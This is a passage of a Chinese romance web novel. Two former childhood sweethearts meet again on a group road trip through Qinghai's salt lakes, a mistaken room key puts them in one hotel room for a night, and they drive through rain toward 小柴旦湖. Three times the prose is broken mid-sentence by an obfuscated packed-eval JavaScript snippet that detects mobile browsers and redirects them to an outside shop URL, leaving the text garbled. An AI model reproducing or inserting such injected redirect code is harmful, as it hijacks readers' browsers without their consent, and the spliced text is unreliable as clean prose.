原本盛屹白已经走了好一段距离,转身见靳越寒没动,他又倒回来,站在他面前。 “你想带回去?” 靳越寒嗯了一声,看向他时眼神分明是炙热期待的。就像高中时,夏天下了晚自习很热,学校外面的小卖部总是人满为患。 靳越寒想吃冰激凌,就会眼巴巴望着他,眼里也是这样的期待。 盛屹白默了默,说好。 他不知道从哪掏出来一个透明小玻璃瓶,蹲下去舀了一半盐粒一半湖水上来给靳越寒。 看见靳越寒心满意足,小心放好玻璃瓶的样子,盛屹白眉眼不自觉放松,露出淡淡笑意。 靠近他,还是会感到幸福。 当靳越寒看过来时,盛屹白早已收起笑意,没见到路柯和徐澈的身影,两个人站在湖中,像罚站一样。 日光刺眼,这里又大又多人,一旦分开很难再找到人。 靳越寒嘴唇动了动,像是有话要说,对上盛屹白的目光又抿紧唇,什么都没说。 盛屹白猜,他应该是怕自己先走不等他。 太知道靳越寒有多敏感,甚至有点讨好型人格,别人的一举一动甚至是语气他都会想很多,于是盛屹白放缓了语气,尽可能让自己看起来不是被迫的。 “他们不在,你跟我待在一起,别走远了。” 听到这话,靳越寒猛一抬头,眼里闪烁着喜悦,“真的吗?” “真的。” 刚开始靳越寒只敢跟在盛屹白身后,觉得这样不好说话,他快了一步绕到盛屹白身边。 他们刚认识那年,他也只敢走在盛屹白身后,因为盛屹白看起来像是不喜欢跟他玩,总是冷着一张脸不说话。 某天盛屹白还停下来对他说:“我不喜欢你跟在我后面。” 当时靳越寒心想,果然盛屹白是讨厌他、不喜欢跟他玩的,他们为此还闹了别扭。 但和好以后,盛屹白说的话却让他记了很多年。 不是不喜欢靳越寒跟在他身后。 而是:“你在后面,我看不见你,还怎么跟你说话。” 13. 过得好吗 走上格桑花栈道,却不像网上看到的那样美。 现在不是盛花期,只有零星的格桑花盛开,远不如盛夏繁茂。 靳越寒的注意力回到旁边的人身上,他纠结了好一会儿,才开口问盛屹白: “你以前来过这里吗,有没有看过花开的样子?” 盛屹白被太阳晒得没了脾气,问什么答什么。 “来过,看过。” “是不是很好看?” “嗯。” “那你以前也是和徐澈一起来的吗,还是自己来,或者说……和别人?” “靳越寒。” 突然盛屹白叫了他的名字,停下来看着他,似笑非笑:“别想套我话。” 靳越寒感到心虚,急忙解释:“我没有,我就是问问,你不想说可以不说的,而且这不是套话,真的就是随便问问……” 他自己都没发现,自己一心虚,话就会多起来。 盛屹白在一旁听着,也不吭声,就是时而看几眼靳越寒现在什么表情。 直到靳越寒真的不打算问了,也不好奇了,盛屹白才回答他。 “没有和别人,我自己一个人。” 说这话时,他的眼睛一直看着靳越寒,没有丝毫躲闪,被看的人瞬间明了,这是真话。 明明应该感到开心,盛屹白没有和别人一起来过这些地方,可听到他是自己一个人来的,靳越寒心脏忽然一阵钝痛,传来的痛感也极为沉重。 如果盛屹白来过这里很多次,那他每次都自己一个人,会不会很孤单? 见他一副欲言又止的模样,盛屹白很无奈,让他别一个人多想。 靳越寒表面应着好,脑子里还是会止不住想,盛屹白一个人来这里,先不说好不好玩,他一个人在晚上经过无人区时,有没有遇到过危险? 出现意外时,谁可以帮他?见到美丽的落日,又能分享给谁…… 光是想到这些,靳越寒都很难过。 突然,盛屹白的话打断他的思绪,把他从低沉的氛围里拉出来。 他问:“你以后,会不会一直待在延桐?” 靳越寒不知道怎么回答,他原本没有打算要继续待那里,但是知道盛屹白在那以后,他可以留下来。 反正他也没有地方去,能离盛屹白近点当然最好。 “应该会吧。” “那你要在这里待多久?” 靳越寒还在奇怪,盛屹白怎么突然主动问他这些了,明明之前都不问的,一点都不好奇不关心的样子。 他老老实实回答:“半个月左右。” 盛屹白嗯了一声,转而问起他的工作。 “你现在,还在当编剧吗?” 脑子里轰鸣一声,靳越寒呆滞了几秒,没什么底气说:“对……还在当编剧。” 他从小喜欢待在书店看书,大学又主修戏剧影视文学,毕业后在国外当了编剧,因为一部悬疑影片年少成名。 后来,他应该要继续发展下去,有更多自己的作品,真的功成名就。 在最初的计划里,他原本应该是这样的。 盛屹白信了,又问:“你姑姑他们,对你——” 刚问出口,盛屹白就后悔了,他不应该问这种话,他最清楚他们的关系怎样。 “算了,我不问这个。” 他故作轻松,改问道:“为什么突然回国?我以为你会一直在国外。” 因为紧张,因为要撒谎所以心虚,靳越寒手心冒着汗。 “……我想回来,所以就回来了。” 他甚至不敢看盛屹白的眼睛,害怕他发现自己的谎言。那么多年他一直都想回来,但每次提起时都会被否决。 姑姑原本就没打算让他回国,当初送他走就是不想他再回来。直到今年他的病情有了好转,恰好姑姑又对他有那么一点愧疚,所以才答应他的要求。 听到这个回答,盛屹白不知道这句“想回来”,是因为什么才想。 他沉默片刻:“最后一个问题。” 靳越寒脚步一顿,听见他说:“这几年……你过得好吗?” 湖面被风卷起一圈圈涟漪,好像突然砸进了一块巨石,寒冷的水花溅到靳越寒身上,把他从头到尾浇了个遍。 过得好吗。 他不知道。 靳越寒的声音有些哽咽,“我……挺好的。” 声音太小了,他又重新说了一遍,比上一回更用力:“我过得很好。” 不管是工作,亲人,还是生活,他都要说很好。 他努力掩饰这一切,为的就是不让盛屹白知道,自己过得很差劲,很糟糕。 哪怕自己成了一个从头到尾都是假话的骗子。 所以在担心被察觉的同时,也忽略了这份主动问起的目的,实则是关心,是对方说不出口的思念。 时间像是被定格住,谁都没有动作,直到盛屹白再次开口。 “你说你过得好,我相信你。” 希望你是真的过得好,而不是像路柯说的那样,看起来很不好。 分开这么些年,他不是没有打听过靳越寒的消息,可连他都不知道的事,别人更不可能知道。 他从来不提起靳越寒,让所有人都以为他早就放下了,就连他妈妈也骗了过去。 可究竟有没有放下,只有他自己心里清楚。 - 路柯和徐澈找到他们时,只见他们停在栈道上,任由无数人从他们身边流走。 路柯的取景器恰好框进他们的身影,刚按下快门徐澈就在喊他。 “诶路柯,他俩原来在这呢,发微信不回,在聊什么呢这么投入。” 他刚准备要过去,路柯拦住他,“等一会儿吧,他们看着,像是有很多话要说。” 徐澈起初没明白,反应过来后说行,老实停在原地。 他们站在远处,不去打扰他们,直到盛屹白先察觉。 “拍完了?” 徐澈说:“对,这里逛得差不多了,我们去下一个地方吧。” 下一站是镜湖,是茶卡盐湖的核心区域,湖面如明镜般倒映蓝天、白云、雪山,尤其在日出日落时分,霞光染红湖面,倒影如熔金流淌,堪称摄影天堂。 在火车上,路柯把刚才拍的照片给前面的两人看,画面里是两个人站在格桑花栈道上的背影。 “拍的怎么样,还可以吧?” 靳越寒想问为什么自己拍的这么矮,明明他只比盛屹白矮八厘米,照片上看着却像矮了大半个头。 盛屹白说了句可以,无法判断对这张照片是否真的满意。 路柯又滑动后面几张给他们看,靳越寒吓了一跳,没想到路柯从入园开始镜头就瞄准了他们。 徐澈靠了一声,“你拍这么多干嘛!” “手一抖就按了快门,控制不住。” 盛屹白听笑了,对此无可奈何,由着他们拍。 突然听见靳越寒说了句:“蒋成酌以前也喜欢拍这么多。” “什么?” “我只是突然想到了他。” 蒋成酌是他们的共同好友,从高中到大学,都在同一所学校。 以前蒋成酌也很爱给他们拍照,其实是拿他们当模特,好完成摄影课大作业。 但靳越寒已经想不起很多细节了,他们很多年没有联系过。自从旧手机坏了后,除了盛屹白的联系,还有蒋成酌的联系也断了。 “他现在怎么样了?”靳越寒问。 盛屹白说:“挺好的,他去年结婚了。” “结、结婚了?!” 惊讶过后,靳越寒才问:“那你去了吗?他的婚礼。” 盛屹白很慢地点了下头。 这几年大家忙着自己的事,他跟蒋成酌的联系越来越少,得知他要结婚时,盛屹白才恍然,身边的人都已经成家立业了。 时间快得让人毫无还手之力。 “去了,很多人都去了,林尽欢也去了。” 听到林尽欢的名字,靳越寒哑然片刻。 当初他要离开时,林尽欢是最内疚的那个,说要不是因为她,他们也不可能被发现,不可能要这样分开。 但本来就不是她的错。 他也从来没把这件事怪在她身上。 “林尽欢她,现在……” 盛屹白说他们很少联系,去年也只是匆匆见了一面。 靳越寒有些怅然,不知道该说什么,对于友情的淡去,总是那么无力和脆弱。 他问了些婚礼上的事,莫名感到可惜,可惜自己没有去,错过了这样的好时候。 他的视线落在盛屹白空空的无名指上,想着还好盛屹白没有结婚,不然,他一辈子都释怀不了。 虽然这样的想法会很自私,但他真的希望,盛屹白不要和别人结婚。 火车到站停,此刻的盐湖风力渐弱,湖面平静如画。 将近五点,镜湖内卤水层薄而均匀,如同一块巨大的天然镜面。蓝天、低悬的卷云、远处的雪山被完整倒映,水天相接一般。 太阳西斜,光线角度变低,将湖面染上琥珀色与金粉色。湖面倒映的云霞呈现渐变暖调,从橙金到玫红层层晕染,与冷调蓝天形成冷暖碰撞。 遵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484824|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循到哪都要拍一张合照的原则,路柯把相机交给别人,四个人拍了几张照。 他们一直在茶卡盐湖待到日落,弥补昨天没有在青海湖看到日落的缺憾后,才起身准备去往酒店。 他们订的两间房刚好是隔壁,办好入住后,房卡都交给了路柯保管。 沿途有经过一家农家菜馆,听说这里的酸菜粉条好吃,距离酒店又近,他们直接把晚饭定在了这里。 靳越寒在群里发了个小程序,让大家买明天去翡翠湖的门票。 徐澈问他:“你头像上那条萨摩耶,是你自己养的狗?” “不是,别人家的,经常会见到,所以拍了下来。” 他在国外念书时,经常会见到这只隔壁住户养的萨摩耶,长得很像盛屹白小时候养的一条小狗。 他找不到人说话时,就会拉着这只萨摩耶絮絮叨叨说很久,直到小狗听不下去开始乱叫了,他才无奈放它走。 而盛屹白以前养的那只萨摩耶更乖更听话一点,盛屹白还给他取名叫小白。 以前还小不懂事,靳越寒连狗的醋都要吃,问它为什么要叫小白,为什么要和盛屹白一样有个白字,是不是盛屹白要跟小狗最好,不跟他好了。 特别是盛屹白模棱两可的态度,让他很委屈,觉得自己被抛弃了,为此还和盛屹白发了好大一通脾气。 想到这里,靳越寒有些好笑,怎么自己小时候连这种醋都要乱吃。 他的手机界面还停留在群聊内,突然看见下面冒出一行字。 【“盛屹白^ω^”拍了拍我】 靳越寒茫然地抬起脸,对面的盛屹白若无其事般解释:“手滑,点错了。” 这是群聊,徐澈和路柯都看见了。 徐澈一副看透了的表情:“你是不是想点开他头像看,然后不小心点多了?” 盛屹白还在解释:“没,真的是手滑。” 见他脸不红心不跳,没有一点做坏事被抓包的慌乱,最后大家只好相信他真的是手滑。 菜上齐后,大家都在闷头吃饭,靳越寒把手机往盛屹白面前一放,上面摆着他头像那张照片,那只胖乎乎的萨摩耶。 “你想知道他叫什么名字吗?” 盛屹白手上动作一停,等着他说。 靳越寒嘴角一弯,“叫小憨,憨厚的憨,因为他好像不太聪明,笑起来憨憨的,他的主人就给它取了这个名字。” “第一次听到时,我还以为在叫我。” 小憨,小寒。 说起这些时,他自己都没发现自己一直带着笑,眉眼弯起,自然流露的开心。 盛屹白看走了神,一时间忘记收回视线,对上靳越寒那双乌黑水润的眼睛,他才匆匆把头低下。 后来,有工作上的事紧急联系他处理,饭都没吃完他就先回了酒店。 靳越寒吃得差不多了,原本想跟着一起走,路柯拉住他:“你也有工作?” “没有,我就是……” “别急,你先坐下,这里还那么多菜,我们三个全吃了。” 没有办法,靳越寒只好继续待着,被迫多吃了一碗米饭。 他问徐澈,盛屹白处理什么工作,这么着急就走了。 徐澈喝了口水,“应该是出了什么事需要他处理,他厉害着呢,大家有什么问题都喜欢找他解决,还能学到不少东西。” 盛屹白不仅细致耐心,解决完还会教别人下次遇到这种情况该怎么处理,跟这样的人一起就会很有安全感。 听着徐澈描述盛屹白能力有多出众,为人处事多么低调周全,又是在公司如何的受欢迎,靳越寒莫名有种骄傲感。 他就知道,盛屹白这么厉害,在哪都会闪闪发光。 他听得起劲,问徐澈还有别的吗。 徐澈挑眉笑道:“你很想知道盛屹白的事?” 靳越寒眼里藏不住的渴望,他差点就脱口而出说想了,忍住后收敛了很多,只是说还好。 路柯笑了:“想就想,什么叫还好。” 见他这样,徐澈无奈道:“好吧,我告诉你,但别说是我说的。” 靳越寒重重点头,把食指和大拇指捏在一起,隔空滑过嘴唇,做了个“闭嘴”的姿势。 “你想听哪个?” 靳越寒想听的太多了,十根手指都数不过来。 路柯先说:“就说那个,他长这么帅,应该有女朋友的吧,前天见着好几个女生跟他搭讪,他回绝的那叫一个快。” 靳越寒睁大眼睛,怎么他不知道这件事。 还有,他怎么就没想过,盛屹白现在,或许是有女朋友的。 14. 拿错房卡 徐澈嗬了一声,很快澄清:“还女朋友,他身边连只母蚊子都没有,那么多年我就只见过他妈跟他姐。” 听到这里,靳越寒悬着的心放了下来。 他问:“那他有没有喜欢过别人?” 徐澈手抵在下巴,盯着靳越寒:“你这个问题,有点刁钻啊。” 靳越寒原本还在担心,这样会不会暴露了自己的心思,但显然是他想多了。 徐澈没有揪着这事不放,而是开始思考起来。 “应该……没有吧,没听说过,问他也已读不回。” 路柯把筷子一丢,慢半拍似的得出结论:“还有一个可能,他喜欢男的,所以没有女朋友。” 靳越寒心一咯噔,心跳加速起来,抿紧唇不出声。 “好像有点道理。”徐澈眉头皱起,又很快松开,“但不可能,他对男的也不感兴趣,绝对不可能!” 他回想过往种种,还是坚信盛屹白不可能是gay。 “好了好了,问下一个,喜欢男的女的都没问题啊,我们要支持性取向自由。”他朝路柯嘀咕道:“你别因为自己是gay,看谁都是gay。” 路柯嘴一歪:“我还真觉得,你们三个都是gay。” 徐澈往后退,把手挡在面前,求放过的样子。靳越寒头摇得像拨浪鼓,说自己不是。 路柯笑得合不拢嘴,催促快点聊下一个。 靳越寒说想知道盛屹白大学毕业后的事,徐澈打了个响指,“这你可问对人了。” 三个人的头围在一起,靳越寒突然往外面看了眼,吓得他们以为盛屹白回来了。 靳越寒很心虚:“我就看看,万一他回来了怎么办……” 他这样一副做贼心虚的样子,像是很害怕被盛屹白发现。 徐澈让他别担心,“他不会回来的,干完活直接躺床上睡了,而且我们又不说他坏话,他没那么小心眼。” “好吧。” 徐澈问:“刚才说到哪了?” 路柯:“大学毕业后。” “哦对,我跟他是一起读研时的室友,听说他是保研上来的,金融数学专业第一,后来我们导师很推荐他去海外研究院当研究员,但他最后选择留在延桐。” “也不是说在延桐不好,但肯定没有研究院这么好,出国的话机会更多,但当时他没去,这个名额给了其他人。” 路柯啧了一声,“有点可惜啊。” 靳越寒问:“他为什么没去?” “这个我也不清楚。”徐澈仔细回忆了下,还是摇头,“事已至此没什么好可惜的,大家总觉得自己没选择的那条路就一定是对的,那可说不准。” “未选择的路等于绝对正确,在数学上是不成立的。” 靳越寒和路柯都看着他,徐澈嘴角一弯,挺直腰杆。 “布莱尔·肖尔斯期权定价模型证明,不确定性下的决策价值取决于波动率而非结果。应用到人生,真正重要的是保持适应不确定性的能力,而非执着于‘最优解’。” 听完,靳越寒和路柯更迷糊了。 路柯咬紧后槽牙:“让你说原因,没让你在这上课。” 徐澈:“我这不是怕你们不理解,解释给你们听吗。” “还不如不解释,越解释越听不懂。” “路柯你……” 听着他们两个你一句我一句开始拌嘴,靳越寒默默举了个手。 徐澈做了个“请”的手势:“靳同学请讲。” “你知道这么多,那你们应该是很好的朋友吧?” 虽然已经长大了,不像小时候那样对盛屹白占有欲那么强,让盛屹白只能跟他玩,但靳越寒还是想知道,盛屹白是否有了更好的朋友。 他可以是一个人,但盛屹白不能这样。 “当然,盛屹白这个人做朋友,好的没话说。” 谈起自己和盛屹白这段友情,徐澈颇为感慨。 刚读研的第一年,他和盛屹白交集甚少,每天不过是点头之交。关系的转变是在第二年,徐澈没买到过年回家的票,本来以为要在宿舍一个人孤单待着,但当时盛屹白问他要不要去自己家。 他原本想会不会太打扰了,盛屹白却说已经跟家里打过招呼了。 “第一次去别人家过年我还很紧张,但很奇怪,自从那次去了以后我巴不得每回过年都去他家。” 盛屹白的妈妈不仅温柔体贴,他姐姐也是个大方爽朗的性格,家庭氛围很好,让徐澈这个没感受过什么是家庭温暖的人很是向往。 自那以后,他自认和盛屹白是朋友了,有事没事就往人家那凑。 他慢慢知道,盛屹白看起来像是什么都不在乎、冷冰冰的,但其实比谁都要温柔细腻。 都说家庭环境和性格养成有很大关系,出生在这样一个家庭里,所以性格也会很好。 现在工作以后,徐澈反而会特意找理由跟盛屹白一起回家,比起回到自己家里备受压力,他更喜欢在盛屹白家这种轻松融洽的氛围。 “我知道他每年都会去旅游,一开始很羡慕他可以这么自由,想去哪就去哪,今年我就想跟他一起去。” “他不喜欢有人同行,之前有同事要一起去被他拒绝了,但今年我跟他说起时,他嘴上说着不愿意,真到了准备出发时,还会跟我确认好几遍我是不是真的要去,他好多准备一份物资。” 听完徐澈说这些,路柯手托着下巴,“听起来有点感动是怎么回事。” 徐澈笑了笑,“是吧,我一个大老爷们,好几次都想哭了,认识那么多朋友,还是盛屹白最好。” “评价这么高。” “当然。”徐澈看向靳越寒,“你跟他是发小,肯定比我更了解他的为人。” 靳越寒回过神来,点了点头。 他了解,盛屹白一直都是这么好的一个人。 今晚徐澈说的这些,他心里总是酸酸的。 一边高兴徐澈口中的盛屹白有多么优秀多么好,一边又遗憾自己缺席的这么些年,没能见过盛屹白二十岁以后,这八年最好的时光。 - 明天要去往大柴旦,从茶卡过去四五个小时的车程,把小柴旦湖和翡翠湖玩一遍。 刚到九点,靳越寒就有了困意,他以为今晚大家都会早点睡,没想到路柯和徐澈还要一起去看星星,他便找路柯拿房卡,自己先回去。 走了十多分钟到住的酒店,他困迷糊了,拿着房卡打开门就进去,也没注意进的哪间。 房间的灯亮了一半,还闻到淡淡的木质调香气,他刚奇怪是怎么回事,下一秒就听见一道声音传来。 “怎么是你?” 盛屹白靠在浴室门边,发梢的水珠沿着颌线滚落,脸上还有点湿,一幅刚洗完澡的样子。 他就这么盯着靳越寒看,眼皮懒怠地垂着,目光锁定在靳越寒这个“不速之客”身上。 靳越寒吓了一跳,困意烟消云散,反客为主:“你、你怎么在这?” 盛屹白有些好笑:“什么叫我怎么在这,不应该是你进错房间了?” 靳越寒往四周看了看,他的包呢,怎么不在这里,反而多了一堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484825|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不认识的东西。 他立马反应过来,完了,真是他进错了。 尴尬和羞耻感一齐袭来,让他感到无地自容。他低着脑袋,眼睛在地上乱瞟,慌乱又无措。 “你拿错房卡了?”盛屹白问。 靳越寒松开咬紧的唇,点了点头,“应该是,太着急了……没看清。” 两间房挨在一起,他也忘了自己的房号是哪个,跟着房卡上的数字就摸过来了。 盛屹白上面只穿了件白色长袖,让靳越寒把门关上。 乖乖关好门后,靳越寒才反应过来,他进错了,不应该再出去吗。 “他们什么时候回来?” 靳越寒转过身,边掏出手机边说:“我问一下,他们刚刚说要去看星星的。” 他在群里问路柯,没有回复,问徐澈,也没回他,两个人都跟失联了一样。 盛屹白自然也看见了,见靳越寒跟做错事一样站着,手一指,让他先去自己床上坐着。 靳越寒愣了愣,其实他也可以坐沙发的,但那里放着电脑,盛屹白好像还要办公。他没有客气,坐下时还冲盛屹白眯了眯眼。 像只讨人喜欢的小猫咪。 本来就困得不行,这样一坐下更困了,靳越寒打了好几个哈欠,眼皮好沉。 他和盛屹白商量,“那个,我太困了,能不能先在这里睡一会儿?就一会儿,他们回来了,我马上就走。” 要是盛屹白说不行,他就去走廊站着,清醒清醒。 盛屹白抬起头,见他眼睛红红的,答应的很快。 “你睡吧,他们回来了我叫你。” 靳越寒松了口气,说了声谢谢,心满意足地把自己外面的衣服脱掉,还去浴室洗了把脸,洗干净手再上床。 这家酒店的床格外舒服,他刚躺下去,像睡在了云上,没一会儿就睡熟了。 十分钟后,看见靳越寒已经睡着了,盛屹白关了电脑,走到房间外面联系徐澈。 听到靳越寒拿错房卡,还在房间先睡了,徐澈我靠了一声,“那我今晚只能跟路柯一个屋了。” 他喊来路柯,说:“兄弟,今晚只能委屈委屈我了。” 路柯还在电话那头问:“什么情况,发生什么了……” 挂了电话后,盛屹白回到屋里,在床边站了一会儿。突然靳越寒哼唧了一声,一侧身,把手伸到了被子外面。 是做梦了吗? 靳越寒睡觉的习惯是,要么爱乱动掀被子,要么爱把整个头埋进被子里。 盛屹白想,今天这样,应该是要掀被子了。 他动作轻柔地捏起靳越寒的手腕,把手塞回被子里,突然又担心这样会不会热。 怕吵醒睡着的人,他便弯下身子,从被子侧面把手探进去,摸着靳越寒的手感受温度。 不算太热,刚刚好。 靳越寒的手软软的,盛屹白又轻轻捏了捏,才不舍地松开,只敢把视线留在他身上。 似乎只有在这样的时候,他才可以这么肆无忌惮,不用顾及其他,一直看着靳越寒,好久好久。 靳越寒侧着脸,刚好对着盛屹白。仔细观察会发现他瘦了,头发比以前长了,脸也被晒黑了,眼睛下面那颗很小很浅的痣,都没那么明显了。 你说你过得很好,那为什么看起来不那么好。 盛屹白想摸摸靳越寒的脸,最后却只是小心碰了碰他的头发。 时间突然变得很快,他不知道自己究竟看了多久。 一直到他觉得不能再这么看下去了,才回到自己应该待的位置。 15. 过眼云烟 在西北的第四天,早晨茶卡镇下起了雨,天灰蒙蒙的,雨水伴着冷风,吹来的满是寒意。 吃早餐时,店内的门敞开着,靳越寒裹紧衣服,还在记着今天早上醒来见着盛屹白的场景。 不仅是盛屹白叫他起床的,还是盛屹白帮他把地上掉了的衣服捡起来。 他一边急忙穿衣服,一边问:“昨晚你怎么没叫醒我?” 盛屹白解释道:“我忘了。” 是我忘了,而不是,我叫了,你自己没醒。 这样的回答,错的就是盛屹白了。 靳越寒没有怀疑,真的信了,虽然他觉得盛屹白不可能会忘记,他记性一直都很好。 早餐吃到一半,靳越寒猛地一拍自己的脑袋,吓得对面的路柯手一松,勺子掉进了汤里,发出清脆的瓷器声响。 “怎、怎么了你?” “没事,我可能没睡醒……” 靳越寒小口喝着汤,心里一万个后悔,自己昨晚怎么可以睡这么熟。 要是早知道会跟盛屹白待一晚上,他就应该只眯一会儿马上醒来,这样就可以多跟盛屹白相处一段时间,多说一些话,多看看他…… 总之,什么都可以更多一点。 他几乎要把整张脸埋进碗里忏悔,突然后领被人一拉。他仰起头,正好看见盛屹白的下巴。 迅速侧过脸,盛屹白坐在了他们旁边那桌,中间隔了一米间距。 徐澈冲靳越寒挑眉:“怎么样?昨晚睡得是不是很香,今天早上一直敲门都敲不醒。” 不知道怎么回答,等到盛屹白起身去点餐,靳越寒才点头。 “真假?你俩干了什么?” 徐澈好奇的目光过分显眼,让人很难忽视。靳越寒搅着碗里的汤,“……就是很正常的睡觉,没干什么。” 见盛屹白回来,他又扭回头,不再跟徐澈分享更多。 其实他昨晚睡得太熟,根本不知道自己睡着后发生了什么,两眼一睁就天亮了,有关昨晚的记忆少得可怜。 路柯脸上的黑眼圈格外明显,指着徐澈抱怨:“这家伙晚上睡觉磨牙,有没有人管管?” 徐澈急得要跳起来,“我磨牙?你半夜起来喝水结果打了一晚上游戏,我还没说你吓人!” “还不是你磨牙我才打游戏!” “那你可以叫醒我啊。” “你以为我没叫吗?” …… 他们两个拌嘴的模样一点都不像二十多岁的人,更像幼儿园的小朋友,不讲道理,却讲礼貌,你一句我一句轮着来。 靳越寒不知道该不该劝,盛屹白轻摇了下头,由着他们。收到指示,靳越寒没再管,反正最后肯定错的都是徐澈。 他说不过路柯,还容易炸毛。要是一不小心把路柯惹生气了,还得自己去哄。 反正,在一旁听着很有意思。 吃完早餐,要先去小柴旦湖。那里位于柴达木盆地东北边缘,开车经过G315国道去往大柴旦的路上很容易就能看到它。 相比大热的茶卡盐湖甚至是大柴旦翡翠湖,小柴旦湖的游客较少,因为是免费野生湖泊,商业开发程度低,更能感受到一种原始、静谧的荒野之美。 出发前,靳越寒的脸上被路柯抹了厚厚一层防晒霜,很淡的香味,涂在脸上润润的。 路柯还打算再涂一层,靳越寒说:“现在下雨,可以不用涂这么多吧?” “还是涂多点吧,这里紫外线太强,昨天你没涂脸都晒红了。” 路柯仔细瞧了瞧他的脸,“嗯……好像还晒黑了不少。” 靳越寒一听,摸了下脸,他自己倒是没怎么察觉,就是太阳晒久了脸有刺痛感。 “你这居然还有颗小痣。”路柯指着他右眼睑下面一点的位置,“我之前怎么没发现呢。” 这颗痣的大小和位置都恰到好处,仿佛天生就应该出现在那里,让靳越寒原本清秀的眉眼多了几分独特和忧郁。 靳越寒下意识躲闪了下,有点想藏起来不愿被人发现的感觉。路柯以为他是不好意思,笑了笑,起身说准备走了。 靳越寒的手刚碰上车把手,就被徐澈截了个胡。 “你去跟盛屹白一辆车。” 见他嘴角勾着笑,靳越寒瞬间想起了昨天早上的事,他还以为是随口一句玩笑话,没想到徐澈当了真。 他没有拒绝,冲车里的路柯说:“我去那辆车。” 徐澈上车后,和路柯两个人大眼瞪小眼好一会儿,最后选择先“冰释前嫌”。 突然,路柯问:“你觉不觉得他们关系,有点别扭?” “你也这么觉得!”徐澈睁大眼睛,仿佛遇见知音了似的。 路柯点头,“说不上来,反正肯定多少有点什么。” “什么都没有才奇怪。”徐澈分析得头头是道:“第一天见面还假装不认识,后面才说是朋友,两个人那氛围就很不对劲。” 但怎么也想不出来,两个人到底为什么这样。 路柯轻叹了口气,“再说吧,说不定以后就知道了。” 见前面盛屹白的车子动了,他们才跟上去。 这几天里,因为盛屹白对西北比较熟悉,加上他情绪稳定,做事靠谱有责任心,一直都是他当“导游”。去哪里、怎么去、什么时候去都是他来安排,一路上也没出什么岔子。 他们四个人每人负责一项,靳越寒负责酒店住宿,路柯负责拍摄记录,徐澈负责吃饭和开销统计,这样一来,每个人都有事干。 大家都是第一次结伴旅行,刚开始都有些手忙脚乱,但却意外和谐。 天空一直是低垂的铅灰色,远处的橡皮山渐渐完全消失在流动的雾气中。 离开茶卡镇,车子驶上G315国道,柏油路被雨水浸透。窗外低矮的牧草湿漉漉地伏向地面,偶尔能看见几头牦牛淹没在雨幕中。 起伏的丘陵线在雨中变得柔和模糊,最远处,柴达木盆地的辽阔被无限放大。天地相接处一片混沌,平日里清晰可见的连绵雪山,此刻完全隐没在厚重的灰白色幕布之后。 经过德令哈的岔路口,巨大的路牌在雨中矗立着,加油站、零星的服务建筑显得略微冷清。车辆稀少,偶尔有大货车轰鸣而过,溅起巨大的扇形水雾。 雨天不好开车,特别是在这样复杂的路况下。他们的车速不快,一路上靳越寒没敢说话,怕影响盛屹白开车。 刚开始他还在想,盛屹白是否会不想跟他坐一辆车,但见盛屹白脸上没有不悦的神情,像是根本不在意。 昨天晚上他们还睡同一间房,现在就是坐同一辆车,这没什么的。 这是第二次坐盛屹白的车,上一回还是第一天去日月山的时候。 车上的东西并不多,整齐又干净,除了几条数据线和几包纸巾外,就剩一些很小的东西。 靳越寒看见那几包纸上有“Tempo”的logo,突然想起面馆里他拿来擦脸的那张。 明白是怎么一回事后,他悄悄看了几眼盛屹白,嘴角挂起不明显的笑。哪怕只是这一个小小的举动,有关盛屹白,他都能独自高兴很久。 察觉到他的视线,盛屹白分神问他:“怎么了?” 靳越寒没说那张纸的事,他怕说了,以后盛屹白就什么都不会为他做了。 于是他说:“你‘跳一跳’居然排第一。” 他还以为这个游戏没什么人玩了,但没想到在好友排名里,盛屹白排第一,徐澈排第三,路柯排第四。 听到这个,盛屹白有些意外,他问:“那之前,谁排第一?” “我。”靳越寒纠结了一会儿,还是实话实说:“之前没有很多好友,只有我一个人玩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484826|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后盛屹白一直沉默着,快到小柴旦湖时,才开口:“除了这个,你还玩不玩别的?” “别的?” “对。” 靳越寒摇摇头,“不玩了,这个最简单。” 他并没有很喜欢玩游戏,只是因为无聊,才找了个最简单的来玩。 他觉得,世界上最无聊的人,可能就是他了。 - 雨一直都没有停的预兆,他们原本还在担心这样的天气,见到的湖是不是没那么好看了,但到小柴旦湖前,雨奇迹般停了。 雨后风更大了,天开始放晴后,白云成群分布在碧蓝的空中,尽管此刻十二点有阳光,离湖越近却越觉得冷。 靳越寒头上的帽子还没来得及戴稳,刚靠近湖边,帽子就被风掀起,以为要吹走时却被后边的盛屹白一抓。 他把帽子戴回靳越寒头上,等了一会儿,又亲自在他下巴处系了个结。 